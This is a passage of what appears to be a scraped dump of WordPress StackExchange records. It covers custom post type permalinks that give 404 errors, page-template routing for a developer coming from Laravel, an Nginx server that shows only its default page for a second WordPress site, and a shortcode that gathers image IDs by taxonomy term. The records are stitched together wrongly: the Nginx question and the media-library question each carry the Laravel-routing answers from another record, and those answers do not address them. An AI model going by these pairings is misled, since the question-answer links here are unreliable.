=&gt; __( 'New Status Name', 'trademanager' ), 'menu_name' =&gt; __( 'Status', 'trademanager' ), ); $args = array( 'hierarchical' =&gt; true, 'labels' =&gt; $labels, 'show_ui' =&gt; true, 'show_admin_column' =&gt; true, 'query_var' =&gt; true, 'rewrite' =&gt; array( 'slug' =&gt; 'jobs/%job_status%', 'with_front' =&gt; false ), ); </code></pre> <p>I would like the urls to be: jobs/** specific status (like category) **/post</p> <p>I found this function: </p> <pre><code>function tm_jobs_permalinks( $post_link, $post ){ if ( is_object( $post ) &amp;&amp; $post-&gt;post_type == 'jobs' ){ $terms = wp_get_object_terms( $post-&gt;ID, 'status' ); if( $terms ){ return str_replace( '%job_status%' , $terms[0]-&gt;slug , $post_link ); } } return $post_link; } add_filter( 'post_type_link', 'tm_jobs_permalinks', 1, 2 ); </code></pre> <p>Which very nicely makes that url, however it just returns a 404 error. What am I doing wrong here?</p>
[ { "answer_id": 282256, "author": "fatihsolhan", "author_id": 119138, "author_profile": "https://wordpress.stackexchange.com/users/119138", "pm_score": 1, "selected": false, "text": "<p>Open <strong>Settings > Permalinks</strong> and just click on the Save Settings button without any changes.</p>\n" }, { "answer_id": 282262, "author": "lukgoh", "author_id": 128475, "author_profile": "https://wordpress.stackexchange.com/users/128475", "pm_score": 0, "selected": false, "text": "<p>Solved:</p>\n\n<p>Changed taxonomy rewrite to:</p>\n\n<pre><code>'rewrite' =&gt; array( 'slug' =&gt; 'jobs', 'with_front' =&gt; false ),\n</code></pre>\n\n<p>Changed post type rewrite to:</p>\n\n<pre><code>'rewrite' =&gt; true\n</code></pre>\n\n<p>Added the following functions:</p>\n\n<pre><code>function tm_jobs_generating_rule($wp_rewrite) {\n $rules = array();\n $terms = get_terms( array(\n 'taxonomy' =&gt; 'status',\n 'hide_empty' =&gt; false,\n ) );\n\n $post_type = 'jobs';\n foreach ($terms as $term) { \n\n $rules['jobs/' . $term-&gt;slug . '/([^/]*)$'] = 'index.php?post_type=' . $post_type. '&amp;jobs=$matches[1]&amp;name=$matches[1]';\n\n }\n // merge with global rules\n $wp_rewrite-&gt;rules = $rules + $wp_rewrite-&gt;rules;\n}\nadd_filter('generate_rewrite_rules', 'tm_jobs_generating_rule');\n\nfunction tm_change_link( $permalink, $post ) {\n\n if( $post-&gt;post_type == 'jobs' ) {\n $resource_terms = get_the_terms( $post, 'status' );\n $term_slug = '';\n if( ! empty( $resource_terms ) ) {\n foreach ( $resource_terms as $term ) {\n // The featured resource will have another category which is the main one\n if( $term-&gt;slug == 'featured' ) {\n continue;\n }\n $term_slug = $term-&gt;slug;\n break;\n }\n }\n $permalink = get_home_url() .\"/jobs/\" . $term_slug . '/' . $post-&gt;post_name;\n }\n return $permalink;\n}\nadd_filter('post_type_link', 'tm_change_link',10,2);\n</code></pre>\n\n<p>All working correctly. </p>\n" } ]
2017/10/08
[ "https://wordpress.stackexchange.com/questions/282253", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128475/" ]
I have a custom post type registered: 'jobs' ``` // set up labels $labels = array( 'name' => 'Jobs', 'singular_name' => 'Job', 'add_new' => 'Add New Job', 'add_new_item' => 'Add New Job', 'edit_item' => 'Edit Job', 'new_item' => 'New Job', 'all_items' => 'All Jobs', 'view_item' => 'View Job', 'search_items' => 'Search Jobs', 'not_found' => 'No Jobs Found', 'not_found_in_trash' => 'No Jobs found in Trash', 'menu_name' => 'Jobs', ); //register post type register_post_type( 'jobs', array( 'labels' => $labels, 'has_archive' => 'jobs', 'public' => true, 'supports' => array( 'title', 'editor', 'excerpt', 'thumbnail', 'page-attributes' ), 'exclude_from_search' => false, 'capability_type' => 'post', 'query_var' => true, 'menu_icon' => 'dashicons-book-alt', 'rewrite' => array( 'slug' => 'jobs/%job_status%', 'with_front' => false ), ) ); ``` And a custom Taxonomy: 'status' ``` $labels = array( 'name' => _x( 'Status', 'taxonomy general name', 'trademanager' ), 'singular_name' => _x( 'Status', 'taxonomy singular name', 'trademanager' ), 'search_items' => __( 'Search Statuses', 'trademanager' ), 'all_items' => __( 'All Statuses', 'trademanager' ), 'parent_item' => __( 'Parent Status', 'trademanager' ), 'parent_item_colon' => __( 'Parent Status:', 'trademanager' ), 'edit_item' => __( 'Edit Status', 'trademanager' ), 'update_item' => __( 'Update Status', 'trademanager' ), 'add_new_item' => __( 'Add New Status', 'trademanager' ), 'new_item_name' => __( 'New Status Name', 'trademanager' ), 'menu_name' => __( 'Status', 'trademanager' ), ); $args = array( 'hierarchical' => true, 'labels' => $labels, 'show_ui' => true, 'show_admin_column' => true, 'query_var' => true, 'rewrite' => array( 'slug' => 'jobs/%job_status%', 'with_front' => false ), ); ``` I would like the urls to be: jobs/\*\* specific status (like category) \*\*/post I found this function: ``` function tm_jobs_permalinks( $post_link, $post ){ if ( is_object( $post ) && $post->post_type == 'jobs' ){ $terms = wp_get_object_terms( $post->ID, 'status' ); if( $terms ){ return str_replace( '%job_status%' , $terms[0]->slug , $post_link ); } } return $post_link; } add_filter( 'post_type_link', 'tm_jobs_permalinks', 1, 2 ); ``` Which very nicely makes that url, however it just returns a 404 error. What am I doing wrong here?
Open **Settings > Permalinks** and just click on the Save Settings button without any changes.
282,267
<p>I am a Laravel developer that is learning WordPress. I have written some PHP code which displays some tables and some HTML and some get forms. At the minute I require the file on the index page in order to display it. I want to change that and only add a menu on the index page with links to my created files. Now I want to route the file, so when I write its URL I see the page from that file. e.g. <code>mywpsite.com/mygetform</code> How do I do this?</p>
[ { "answer_id": 282273, "author": "CK MacLeod", "author_id": 35923, "author_profile": "https://wordpress.stackexchange.com/users/35923", "pm_score": 1, "selected": false, "text": "<p>Agree with the comments, but still might as well provide an answer for someone coming from a place of some sophistication, and trying to learn.</p>\n\n<p>A preferred method in most real world cases would be to open up the appropriate template file functioning as the equivalent of index.php (in the main directory), which will be set by your theme (according to <a href=\"https://developer.wordpress.org/themes/basics/template-hierarchy/\" rel=\"nofollow noreferrer\">the hierarchy</a>): Most likely either home.php or index.php and possibly front-page.php, depending both on the particular theme and on general settings. Those template files will be found in the main directory of the active theme (in wp-content/themes/). </p>\n\n<p>Since the question implies that the new \"index\" page will have no other content, you could in theory delete everything you don't want in the final HTML or understand, from header to footer, and replace it with you code, but most likely (why use Wordpress otherwise?), you'll want to keep almost everything except for the stuff between while if (have_posts() ) and its related endif, if present. ('The Loop', in other words.) </p>\n\n<p>Furthermore, you might as well start now creating <a href=\"https://codex.wordpress.org/Child_Themes\" rel=\"nofollow noreferrer\">child themes</a> and doing the modifications there. </p>\n\n<p>Another alternative will likely be to add the code via shortcode or some other method involving a custom function or conceivably a plugin, possibly to a page set as the home page. </p>\n\n<p>Since it's WordPress, there will be additional alternatives...</p>\n" }, { "answer_id": 282289, "author": "haz", "author_id": 99009, "author_profile": "https://wordpress.stackexchange.com/users/99009", "pm_score": 3, "selected": true, "text": "<p>If you're coming from a Laravel background, you're going to hate Wordpress routing. </p>\n\n<p>For our high-functioning Wordpress websites, I had to write a whole bunch of routing workarounds to Laravel-ise routes, and it's definitely not \"The Wordpress Way.\" </p>\n\n<p>There's no neat Wordpress way to add routes in code. Your best bet is to leverage the default routing by creating a Page at the URL you want, and then use a custom Page Template.</p>\n\n<p>Here's how.</p>\n\n<p>I'm going to assume you have control over your theme and it's located here: <code>yoursite/wp-content/themes/your-theme</code></p>\n\n<p>Add a new file:</p>\n\n<pre><code>yoursite/wp-content/themes/your-theme/mygetform.php\n</code></pre>\n\n<p>Add some Wordpress-magic to the top of this file:</p>\n\n<pre><code>&lt;?php\n/**\n * Template Name: Custom Page - My Get Form\n * Description: Here's my custom page.\n */\n/* include your template header here, if you need/want it. */\n\n/* insert your custom code here */\n\n/* include your template footer here, if you need/want it. */\n</code></pre>\n\n<p>Now head to <strong>yoursite.com/wp-admin</strong> and navigate to Pages > Add Page.</p>\n\n<p>In your <strong>Page Attributes</strong> metabox (which normally hides on the right hand side somewhere) you'll now be able to select \"<strong>Custom Page - My Get Form</strong>\" from the Template drop down.</p>\n\n<p>This will now run all PHP you've dropped into this file (or included, etc).</p>\n\n<p>If you've got forms and stuff, you could also include it in this file and that would work. The most Wordpress way to handle GET/POST form submissions is by leveraging admin-post.php, which is best documented in <a href=\"https://www.sitepoint.com/handling-post-requests-the-wordpress-way/\" rel=\"nofollow noreferrer\">this article.</a></p>\n" } ]
2017/10/08
[ "https://wordpress.stackexchange.com/questions/282267", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/125481/" ]
I am a Laravel developer that is learning WordPress. I have written some PHP code which displays some tables and some HTML and some get forms. At the minute I require the file on the index page in order to display it. I want to change that and only add a menu on the index page with links to my created files. Now I want to route the file, so when I write its URL I see the page from that file. e.g. `mywpsite.com/mygetform` How do I do this?
If you're coming from a Laravel background, you're going to hate Wordpress routing. For our high-functioning Wordpress websites, I had to write a whole bunch of routing workarounds to Laravel-ise routes, and it's definitely not "The Wordpress Way." There's no neat Wordpress way to add routes in code. Your best bet is to leverage the default routing by creating a Page at the URL you want, and then use a custom Page Template. Here's how. I'm going to assume you have control over your theme and it's located here: `yoursite/wp-content/themes/your-theme` Add a new file: ``` yoursite/wp-content/themes/your-theme/mygetform.php ``` Add some Wordpress-magic to the top of this file: ``` <?php /** * Template Name: Custom Page - My Get Form * Description: Here's my custom page. */ /* include your template header here, if you need/want it. */ /* insert your custom code here */ /* include your template footer here, if you need/want it. */ ``` Now head to **yoursite.com/wp-admin** and navigate to Pages > Add Page. In your **Page Attributes** metabox (which normally hides on the right hand side somewhere) you'll now be able to select "**Custom Page - My Get Form**" from the Template drop down. This will now run all PHP you've dropped into this file (or included, etc). If you've got forms and stuff, you could also include it in this file and that would work. The most Wordpress way to handle GET/POST form submissions is by leveraging admin-post.php, which is best documented in [this article.](https://www.sitepoint.com/handling-post-requests-the-wordpress-way/)
282,268
<p>I am trying to install a second WP site on an Ubuntu 16 server running Nginx. I have successfully installed WordPress according to my server results, but I still only get the Nginx home page. I thought it might be the fact that the Group Owner was the User, so I changed group owner on web files to www-data:</p> <pre><code>microurb@vps148370:/var/www/dancortes.press/public_html$ ls -l total 192 -rw-r--r-- 1 microurb www-data 0 Oct 5 15:36 index.html -rw-rw-r-- 1 microurb www-data 418 Oct 8 17:07 index.php -rw-rw-r-- 1 microurb www-data 19935 Oct 8 17:07 license.txt -rw-rw-r-- 1 microurb www-data 7413 Oct 8 17:07 readme.html -rw-rw-r-- 1 microurb www-data 5447 Oct 8 17:07 wp-activate.php drwxrwxr-x 9 microurb www-data 4096 Oct 8 17:07 wp-admin -rw-rw-r-- 1 microurb www-data 364 Oct 8 17:07 wp-blog-header.php -rw-rw-r-- 1 microurb www-data 1627 Oct 8 17:07 wp-comments-post.php -rw-rw-r-- 1 microurb www-data 2599 Oct 8 17:17 wp-config.php -rw-rw-r-- 1 microurb www-data 2853 Oct 8 17:07 wp-config-sample.php drwxrwxr-x 5 microurb www-data 4096 Oct 8 17:19 wp-content -rw-rw-r-- 1 microurb www-data 3286 Oct 8 17:07 wp-cron.php drwxrwxr-x 18 microurb www-data 12288 Oct 8 17:07 wp-includes -rw-rw-r-- 1 microurb www-data 2422 Oct 8 17:07 wp-links-opml.php -rw-rw-r-- 1 microurb www-data 3301 Oct 8 17:07 wp-load.php -rw-rw-r-- 1 microurb www-data 34327 Oct 8 17:07 wp-login.php -rw-rw-r-- 1 microurb www-data 8048 Oct 8 17:07 wp-mail.php -rw-rw-r-- 1 microurb www-data 16200 Oct 8 17:07 wp-settings.php -rw-rw-r-- 1 microurb www-data 29924 Oct 8 17:07 wp-signup.php -rw-rw-r-- 1 microurb www-data 4513 Oct 8 17:07 wp-trackback.php -rw-rw-r-- 1 microurb www-data 3065 Oct 8 17:07 xmlrpc.php </code></pre> <p>Still, I get only Nginx home page. I restarted Nginx a couple times.</p> <p>I checked access and error logs and all I get is an error about code on the first site.</p> <p>I checked the nginx access logs:</p> <pre><code>73.197.81.232 - - [08/Oct/2017:19:10:55 -0400] "GET / HTTP/1.1" 304 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36" 73.197.81.232 - - [08/Oct/2017:19:10:56 -0400] "GET / HTTP/1.1" 304 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36" </code></pre> <p>The error logs have an error regarding code on my first site:</p> <pre><code>PHP message: PHP Notice: Undefined index: success in /var/www/microurb.com/public_html/index.php on line 295" while reading upstream, client: 71.168.149.103, server: microurb.club, request: "GET / HTTP/1.1", upstream: "fastcgi://unix:/var/run/php/php7.0-fpm.sock:", host: "microurb.club" 2017/10/08 19:10:01 [alert] 22798#22798: *25 open socket #11 left in connection 3 2017/10/08 19:10:01 [alert] 22798#22798: aborting 2017/10/08 19:10:52 [alert] 23108#23108: *3 open socket #3 left in connection 3 2017/10/08 19:10:52 [alert] 23108#23108: aborting </code></pre> <p>I really do not know what to look for next. Why can I not see the WP site?</p> <p>I decided to do an nginx -t and got this:</p> <pre><code>microurb@vps148370:/etc/nginx/sites-available$ nginx -t nginx: [alert] could not open error log file: open() "/var/log/nginx/error.log" failed (13: Permission denied) 2017/10/08 19:41:25 [warn] 23341#23341: the "user" directive makes sense only if the master process runs with super-user privileges, ignored in /etc/nginx/nginx.conf:1 nginx: the configuration file /etc/nginx/nginx.conf syntax is ok 2017/10/08 19:41:25 [emerg] 23341#23341: open() "/run/nginx.pid" failed (13: Permission denied) nginx: configuration file /etc/nginx/nginx.conf test failed </code></pre> <p>I am not that much more enlightened now as to what is going on.</p>
[ { "answer_id": 282273, "author": "CK MacLeod", "author_id": 35923, "author_profile": "https://wordpress.stackexchange.com/users/35923", "pm_score": 1, "selected": false, "text": "<p>Agree with the comments, but still might as well provide an answer for someone coming from a place of some sophistication, and trying to learn.</p>\n\n<p>A preferred method in most real world cases would be to open up the appropriate template file functioning as the equivalent of index.php (in the main directory), which will be set by your theme (according to <a href=\"https://developer.wordpress.org/themes/basics/template-hierarchy/\" rel=\"nofollow noreferrer\">the hierarchy</a>): Most likely either home.php or index.php and possibly front-page.php, depending both on the particular theme and on general settings. Those template files will be found in the main directory of the active theme (in wp-content/themes/). </p>\n\n<p>Since the question implies that the new \"index\" page will have no other content, you could in theory delete everything you don't want in the final HTML or understand, from header to footer, and replace it with you code, but most likely (why use Wordpress otherwise?), you'll want to keep almost everything except for the stuff between while if (have_posts() ) and its related endif, if present. ('The Loop', in other words.) </p>\n\n<p>Furthermore, you might as well start now creating <a href=\"https://codex.wordpress.org/Child_Themes\" rel=\"nofollow noreferrer\">child themes</a> and doing the modifications there. </p>\n\n<p>Another alternative will likely be to add the code via shortcode or some other method involving a custom function or conceivably a plugin, possibly to a page set as the home page. </p>\n\n<p>Since it's WordPress, there will be additional alternatives...</p>\n" }, { "answer_id": 282289, "author": "haz", "author_id": 99009, "author_profile": "https://wordpress.stackexchange.com/users/99009", "pm_score": 3, "selected": true, "text": "<p>If you're coming from a Laravel background, you're going to hate Wordpress routing. </p>\n\n<p>For our high-functioning Wordpress websites, I had to write a whole bunch of routing workarounds to Laravel-ise routes, and it's definitely not \"The Wordpress Way.\" </p>\n\n<p>There's no neat Wordpress way to add routes in code. Your best bet is to leverage the default routing by creating a Page at the URL you want, and then use a custom Page Template.</p>\n\n<p>Here's how.</p>\n\n<p>I'm going to assume you have control over your theme and it's located here: <code>yoursite/wp-content/themes/your-theme</code></p>\n\n<p>Add a new file:</p>\n\n<pre><code>yoursite/wp-content/themes/your-theme/mygetform.php\n</code></pre>\n\n<p>Add some Wordpress-magic to the top of this file:</p>\n\n<pre><code>&lt;?php\n/**\n * Template Name: Custom Page - My Get Form\n * Description: Here's my custom page.\n */\n/* include your template header here, if you need/want it. */\n\n/* insert your custom code here */\n\n/* include your template footer here, if you need/want it. */\n</code></pre>\n\n<p>Now head to <strong>yoursite.com/wp-admin</strong> and navigate to Pages > Add Page.</p>\n\n<p>In your <strong>Page Attributes</strong> metabox (which normally hides on the right hand side somewhere) you'll now be able to select \"<strong>Custom Page - My Get Form</strong>\" from the Template drop down.</p>\n\n<p>This will now run all PHP you've dropped into this file (or included, etc).</p>\n\n<p>If you've got forms and stuff, you could also include it in this file and that would work. The most Wordpress way to handle GET/POST form submissions is by leveraging admin-post.php, which is best documented in <a href=\"https://www.sitepoint.com/handling-post-requests-the-wordpress-way/\" rel=\"nofollow noreferrer\">this article.</a></p>\n" } ]
2017/10/08
[ "https://wordpress.stackexchange.com/questions/282268", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/109760/" ]
I am trying to install a second WP site on an Ubuntu 16 server running Nginx. I have successfully installed WordPress according to my server results, but I still only get the Nginx home page. I thought it might be the fact that the Group Owner was the User, so I changed group owner on web files to www-data: ``` microurb@vps148370:/var/www/dancortes.press/public_html$ ls -l total 192 -rw-r--r-- 1 microurb www-data 0 Oct 5 15:36 index.html -rw-rw-r-- 1 microurb www-data 418 Oct 8 17:07 index.php -rw-rw-r-- 1 microurb www-data 19935 Oct 8 17:07 license.txt -rw-rw-r-- 1 microurb www-data 7413 Oct 8 17:07 readme.html -rw-rw-r-- 1 microurb www-data 5447 Oct 8 17:07 wp-activate.php drwxrwxr-x 9 microurb www-data 4096 Oct 8 17:07 wp-admin -rw-rw-r-- 1 microurb www-data 364 Oct 8 17:07 wp-blog-header.php -rw-rw-r-- 1 microurb www-data 1627 Oct 8 17:07 wp-comments-post.php -rw-rw-r-- 1 microurb www-data 2599 Oct 8 17:17 wp-config.php -rw-rw-r-- 1 microurb www-data 2853 Oct 8 17:07 wp-config-sample.php drwxrwxr-x 5 microurb www-data 4096 Oct 8 17:19 wp-content -rw-rw-r-- 1 microurb www-data 3286 Oct 8 17:07 wp-cron.php drwxrwxr-x 18 microurb www-data 12288 Oct 8 17:07 wp-includes -rw-rw-r-- 1 microurb www-data 2422 Oct 8 17:07 wp-links-opml.php -rw-rw-r-- 1 microurb www-data 3301 Oct 8 17:07 wp-load.php -rw-rw-r-- 1 microurb www-data 34327 Oct 8 17:07 wp-login.php -rw-rw-r-- 1 microurb www-data 8048 Oct 8 17:07 wp-mail.php -rw-rw-r-- 1 microurb www-data 16200 Oct 8 17:07 wp-settings.php -rw-rw-r-- 1 microurb www-data 29924 Oct 8 17:07 wp-signup.php -rw-rw-r-- 1 microurb www-data 4513 Oct 8 17:07 wp-trackback.php -rw-rw-r-- 1 microurb www-data 3065 Oct 8 17:07 xmlrpc.php ``` Still, I get only Nginx home page. I restarted Nginx a couple times. I checked access and error logs and all I get is an error about code on the first site. I checked the nginx access logs: ``` 73.197.81.232 - - [08/Oct/2017:19:10:55 -0400] "GET / HTTP/1.1" 304 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36" 73.197.81.232 - - [08/Oct/2017:19:10:56 -0400] "GET / HTTP/1.1" 304 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36" ``` The error logs have an error regarding code on my first site: ``` PHP message: PHP Notice: Undefined index: success in /var/www/microurb.com/public_html/index.php on line 295" while reading upstream, client: 71.168.149.103, server: microurb.club, request: "GET / HTTP/1.1", upstream: "fastcgi://unix:/var/run/php/php7.0-fpm.sock:", host: "microurb.club" 2017/10/08 19:10:01 [alert] 22798#22798: *25 open socket #11 left in connection 3 2017/10/08 19:10:01 [alert] 22798#22798: aborting 2017/10/08 19:10:52 [alert] 23108#23108: *3 open socket #3 left in connection 3 2017/10/08 19:10:52 [alert] 23108#23108: aborting ``` I really do not know what to look for next. Why can I not see the WP site? I decided to do an nginx -t and got this: ``` microurb@vps148370:/etc/nginx/sites-available$ nginx -t nginx: [alert] could not open error log file: open() "/var/log/nginx/error.log" failed (13: Permission denied) 2017/10/08 19:41:25 [warn] 23341#23341: the "user" directive makes sense only if the master process runs with super-user privileges, ignored in /etc/nginx/nginx.conf:1 nginx: the configuration file /etc/nginx/nginx.conf syntax is ok 2017/10/08 19:41:25 [emerg] 23341#23341: open() "/run/nginx.pid" failed (13: Permission denied) nginx: configuration file /etc/nginx/nginx.conf test failed ``` I am not that much more enlightened now as to what is going on.
If you're coming from a Laravel background, you're going to hate Wordpress routing. For our high-functioning Wordpress websites, I had to write a whole bunch of routing workarounds to Laravel-ise routes, and it's definitely not "The Wordpress Way." There's no neat Wordpress way to add routes in code. Your best bet is to leverage the default routing by creating a Page at the URL you want, and then use a custom Page Template. Here's how. I'm going to assume you have control over your theme and it's located here: `yoursite/wp-content/themes/your-theme` Add a new file: ``` yoursite/wp-content/themes/your-theme/mygetform.php ``` Add some Wordpress-magic to the top of this file: ``` <?php /** * Template Name: Custom Page - My Get Form * Description: Here's my custom page. */ /* include your template header here, if you need/want it. */ /* insert your custom code here */ /* include your template footer here, if you need/want it. */ ``` Now head to **yoursite.com/wp-admin** and navigate to Pages > Add Page. In your **Page Attributes** metabox (which normally hides on the right hand side somewhere) you'll now be able to select "**Custom Page - My Get Form**" from the Template drop down. This will now run all PHP you've dropped into this file (or included, etc). If you've got forms and stuff, you could also include it in this file and that would work. The most Wordpress way to handle GET/POST form submissions is by leveraging admin-post.php, which is best documented in [this article.](https://www.sitepoint.com/handling-post-requests-the-wordpress-way/)
282,270
<p>When I filter media library to display only the images I want to include in a gallery (by a shortcode needing images id), it would be very useful if Wordpress showed somewhere a list of the ids of the displayed images. Currently I open images one by one to retrieve their id, and I feel this should not be the right way to do it.</p> <p>Since I'm a Wordpress newbie, it might exist a different way to achieve the same result, such a plugin that I was not able to find, but anyway the functionality I described above (which I have not idea how to achieve) would solve the problem, and I think it would be very useful to many.</p> <p>Thanks in advance.</p> <p><strong>Follow up</strong></p> <p>Building on Sunil Dora answer I wrote this snippet which allows to select images by one or more (by AND operator) category terms and use an existing shortcode to create a gallery (in the example below a Shortcode Ultimate plugin shortcode is created and executed, but you can tailor the snippet to build any kind of shortcode you want). I believe this functionality is very powerful because you don't have to modify your shortcodes to update your galleries, but you only have to assign the right category terms to attachments. For example if you want to add an image to a gallery, you don't have to edit the shortcode but just upload the new image and assign the right category terms to it. Here is the snippet, I inserted it at the end of my <code>funtions.php</code>, I hope someone is able to build a simple plugin with it and notify that here.</p> <pre><code>// usage: [mmj-taximids categoryname='media_category' categoryterms='term1,term2,term3'] // usage: [mmj-taximids size=120 categoryname='media_category' categoryterms='term1,term2,term3'] add_shortcode('mmj-taximids', 'mmj_taxonomy_image_ids'); function mmj_taxonomy_image_ids($atts) { // Attributes $a = shortcode_atts(array( 'categoryname' =&gt; 'not_provided', 'categoryterms' =&gt; 'not_provided', 'limit' =&gt; -1, 'size' =&gt; 180 ), $atts); // Output Code $tax_query_array = array(); foreach (explode(',', $a['categoryterms']) as $value) { array_push($tax_query_array,array( 'taxonomy' =&gt; $a['categoryname'], 'field' =&gt; 'slug', 'terms' =&gt; array($value) )); } if (count($a)&gt;1) {$tax_query_array["relation"]="AND";} //print_r($tax_query_array); $args = array( 'post_type' =&gt; 'attachment', 'post_status' =&gt; 'any', 'post_mime_type' =&gt; array( 'image/jpeg','image/gif','image/png','image/bmp','image/tiff','image/x-icon' ), 'posts_per_page' =&gt; -1, 'tax_query' =&gt; $tax_query_array ); $query_images = new WP_Query($args); $id_list = ""; foreach ($query_images-&gt;posts as $image) { $id_list .= (($image-&gt;ID) . ","); } return do_shortcode("[su_custom_gallery source=\"media: ".$id_list."\" limit=".$a['limit']." link=\"lightbox\" width=\"".$a['size']."\" height=\"".$a['size']."\"][/su_custom_gallery]"); } </code></pre>
[ { "answer_id": 282273, "author": "CK MacLeod", "author_id": 35923, "author_profile": "https://wordpress.stackexchange.com/users/35923", "pm_score": 1, "selected": false, "text": "<p>Agree with the comments, but still might as well provide an answer for someone coming from a place of some sophistication, and trying to learn.</p>\n\n<p>A preferred method in most real world cases would be to open up the appropriate template file functioning as the equivalent of index.php (in the main directory), which will be set by your theme (according to <a href=\"https://developer.wordpress.org/themes/basics/template-hierarchy/\" rel=\"nofollow noreferrer\">the hierarchy</a>): Most likely either home.php or index.php and possibly front-page.php, depending both on the particular theme and on general settings. Those template files will be found in the main directory of the active theme (in wp-content/themes/). </p>\n\n<p>Since the question implies that the new \"index\" page will have no other content, you could in theory delete everything you don't want in the final HTML or understand, from header to footer, and replace it with you code, but most likely (why use Wordpress otherwise?), you'll want to keep almost everything except for the stuff between while if (have_posts() ) and its related endif, if present. ('The Loop', in other words.) </p>\n\n<p>Furthermore, you might as well start now creating <a href=\"https://codex.wordpress.org/Child_Themes\" rel=\"nofollow noreferrer\">child themes</a> and doing the modifications there. </p>\n\n<p>Another alternative will likely be to add the code via shortcode or some other method involving a custom function or conceivably a plugin, possibly to a page set as the home page. </p>\n\n<p>Since it's WordPress, there will be additional alternatives...</p>\n" }, { "answer_id": 282289, "author": "haz", "author_id": 99009, "author_profile": "https://wordpress.stackexchange.com/users/99009", "pm_score": 3, "selected": true, "text": "<p>If you're coming from a Laravel background, you're going to hate Wordpress routing. </p>\n\n<p>For our high-functioning Wordpress websites, I had to write a whole bunch of routing workarounds to Laravel-ise routes, and it's definitely not \"The Wordpress Way.\" </p>\n\n<p>There's no neat Wordpress way to add routes in code. Your best bet is to leverage the default routing by creating a Page at the URL you want, and then use a custom Page Template.</p>\n\n<p>Here's how.</p>\n\n<p>I'm going to assume you have control over your theme and it's located here: <code>yoursite/wp-content/themes/your-theme</code></p>\n\n<p>Add a new file:</p>\n\n<pre><code>yoursite/wp-content/themes/your-theme/mygetform.php\n</code></pre>\n\n<p>Add some Wordpress-magic to the top of this file:</p>\n\n<pre><code>&lt;?php\n/**\n * Template Name: Custom Page - My Get Form\n * Description: Here's my custom page.\n */\n/* include your template header here, if you need/want it. */\n\n/* insert your custom code here */\n\n/* include your template footer here, if you need/want it. */\n</code></pre>\n\n<p>Now head to <strong>yoursite.com/wp-admin</strong> and navigate to Pages > Add Page.</p>\n\n<p>In your <strong>Page Attributes</strong> metabox (which normally hides on the right hand side somewhere) you'll now be able to select \"<strong>Custom Page - My Get Form</strong>\" from the Template drop down.</p>\n\n<p>This will now run all PHP you've dropped into this file (or included, etc).</p>\n\n<p>If you've got forms and stuff, you could also include it in this file and that would work. The most Wordpress way to handle GET/POST form submissions is by leveraging admin-post.php, which is best documented in <a href=\"https://www.sitepoint.com/handling-post-requests-the-wordpress-way/\" rel=\"nofollow noreferrer\">this article.</a></p>\n" } ]
2017/10/08
[ "https://wordpress.stackexchange.com/questions/282270", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/113609/" ]
When I filter media library to display only the images I want to include in a gallery (by a shortcode needing images id), it would be very useful if Wordpress showed somewhere a list of the ids of the displayed images. Currently I open images one by one to retrieve their id, and I feel this should not be the right way to do it. Since I'm a Wordpress newbie, it might exist a different way to achieve the same result, such a plugin that I was not able to find, but anyway the functionality I described above (which I have not idea how to achieve) would solve the problem, and I think it would be very useful to many. Thanks in advance. **Follow up** Building on Sunil Dora answer I wrote this snippet which allows to select images by one or more (by AND operator) category terms and use an existing shortcode to create a gallery (in the example below a Shortcode Ultimate plugin shortcode is created and executed, but you can tailor the snippet to build any kind of shortcode you want). I believe this functionality is very powerful because you don't have to modify your shortcodes to update your galleries, but you only have to assign the right category terms to attachments. For example if you want to add an image to a gallery, you don't have to edit the shortcode but just upload the new image and assign the right category terms to it. Here is the snippet, I inserted it at the end of my `funtions.php`, I hope someone is able to build a simple plugin with it and notify that here. ``` // usage: [mmj-taximids categoryname='media_category' categoryterms='term1,term2,term3'] // usage: [mmj-taximids size=120 categoryname='media_category' categoryterms='term1,term2,term3'] add_shortcode('mmj-taximids', 'mmj_taxonomy_image_ids'); function mmj_taxonomy_image_ids($atts) { // Attributes $a = shortcode_atts(array( 'categoryname' => 'not_provided', 'categoryterms' => 'not_provided', 'limit' => -1, 'size' => 180 ), $atts); // Output Code $tax_query_array = array(); foreach (explode(',', $a['categoryterms']) as $value) { array_push($tax_query_array,array( 'taxonomy' => $a['categoryname'], 'field' => 'slug', 'terms' => array($value) )); } if (count($a)>1) {$tax_query_array["relation"]="AND";} //print_r($tax_query_array); $args = array( 'post_type' => 'attachment', 'post_status' => 'any', 'post_mime_type' => array( 'image/jpeg','image/gif','image/png','image/bmp','image/tiff','image/x-icon' ), 'posts_per_page' => -1, 'tax_query' => $tax_query_array ); $query_images = new WP_Query($args); $id_list = ""; foreach ($query_images->posts as $image) { $id_list .= (($image->ID) . ","); } return do_shortcode("[su_custom_gallery source=\"media: ".$id_list."\" limit=".$a['limit']." link=\"lightbox\" width=\"".$a['size']."\" height=\"".$a['size']."\"][/su_custom_gallery]"); } ```
If you're coming from a Laravel background, you're going to hate Wordpress routing. For our high-functioning Wordpress websites, I had to write a whole bunch of routing workarounds to Laravel-ise routes, and it's definitely not "The Wordpress Way." There's no neat Wordpress way to add routes in code. Your best bet is to leverage the default routing by creating a Page at the URL you want, and then use a custom Page Template. Here's how. I'm going to assume you have control over your theme and it's located here: `yoursite/wp-content/themes/your-theme` Add a new file: ``` yoursite/wp-content/themes/your-theme/mygetform.php ``` Add some Wordpress-magic to the top of this file: ``` <?php /** * Template Name: Custom Page - My Get Form * Description: Here's my custom page. */ /* include your template header here, if you need/want it. */ /* insert your custom code here */ /* include your template footer here, if you need/want it. */ ``` Now head to **yoursite.com/wp-admin** and navigate to Pages > Add Page. In your **Page Attributes** metabox (which normally hides on the right hand side somewhere) you'll now be able to select "**Custom Page - My Get Form**" from the Template drop down. This will now run all PHP you've dropped into this file (or included, etc). 